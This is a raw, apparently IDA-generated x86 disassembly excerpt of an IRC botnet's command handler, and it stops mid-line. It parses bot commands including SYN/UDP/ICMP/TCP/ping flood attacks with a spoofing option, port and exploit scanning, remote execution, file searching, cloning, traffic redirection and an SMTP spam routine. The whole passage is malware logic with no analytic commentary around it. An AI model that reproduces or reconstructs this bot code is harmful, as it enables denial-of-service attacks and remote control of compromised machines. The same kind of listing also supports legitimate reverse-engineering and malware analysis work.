sub_401ACD+44E0j push offset unk_42B33C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+arg_0] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi push offset aPause ; "pause" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+arg_0] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi push offset aContinue ; "continue" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+arg_0] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+arg_0] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_1 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi push offset aShare ; "share" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B2FC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2DC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi push offset aUser ; "user" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx push eax push 2 loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2BC jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B29C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi push offset aSend ; "send" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B270 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B254 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aAa ; "aa" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset aAction ; "action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aA ; "a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aCy ; "cy" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aM ; "m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aT3 ; "t3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aRp ; "rp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aDe ; "de" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aE ; "e" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aFf ; "ff" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aRename ; "rename" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aMv ; "mv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F75 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aC ; "c" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset word_41525A push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h nop call near ptr 2670E97h jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j nop call near ptr 2680972h push eax push offset unk_42B0E0 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSyn ; "syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset dword_42B098 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset word_4141B2 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h call near ptr 2670E97h nop jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j nop call near ptr 2680972h push eax push offset dword_42B05C jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aRd ; "rd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aScan ; "scan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aSc ; "sc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F75 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aAd ; "ad" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aUdp ; "udp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aU ; "u" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aNs ; "ns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aP ; "p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+var_2C4] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aEmail ; "email" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi push eax call sub_41C890 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C890 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C890 push offset asc_42CDC0 ; " " push offset dword_42B934 push [ebp+esi+var_7C] call sub_41843B push eax lea eax, [ebp+var_408C] push eax call sub_41C890 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB944 lea eax, [ebp+var_46F0] push eax call dword_4CBA58 push 6 push 1 push 2 mov edi, eax call dword_4CBA54 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9D4 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C266 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB97C mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC lea eax, [ebp+var_448C] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA24 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9EC push esi call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_458C] push eax push offset unk_42AEFC loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+arg_24] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41C159 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41CA50 add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+arg_10] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] push esi push eax call sub_41C360 push [ebp+arg_0] call sub_41C159 mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE70 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset byte_4149C1 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h nop call near ptr 2670E97h jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j call near ptr 2680972h nop push eax push offset unk_42AE38 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset unk_42AE00 loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAC4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41C159 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADB8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset dword_413E10 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h nop call near ptr 2670E97h jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej call near ptr 2680972h nop push eax push offset unk_42AD80 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BFD0 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_18] mov edi, eax call sub_41B9C0 push [ebp+arg_20] add edi, eax call sub_41B9C0 push [ebp+arg_8] add edi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C2E0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41C159 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx push [ebp+var_4] push offset unk_42ACF4 loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC8C jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: ___:004330E0o ; ___:004330F4o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41C159 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi call sub_41C159 pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BFD0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC44 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset dword_413F9C push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h nop call near ptr 2670E97h jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj nop call near ptr 2680972h push eax push offset unk_42AC0C loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41C159 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407208: ; CODE 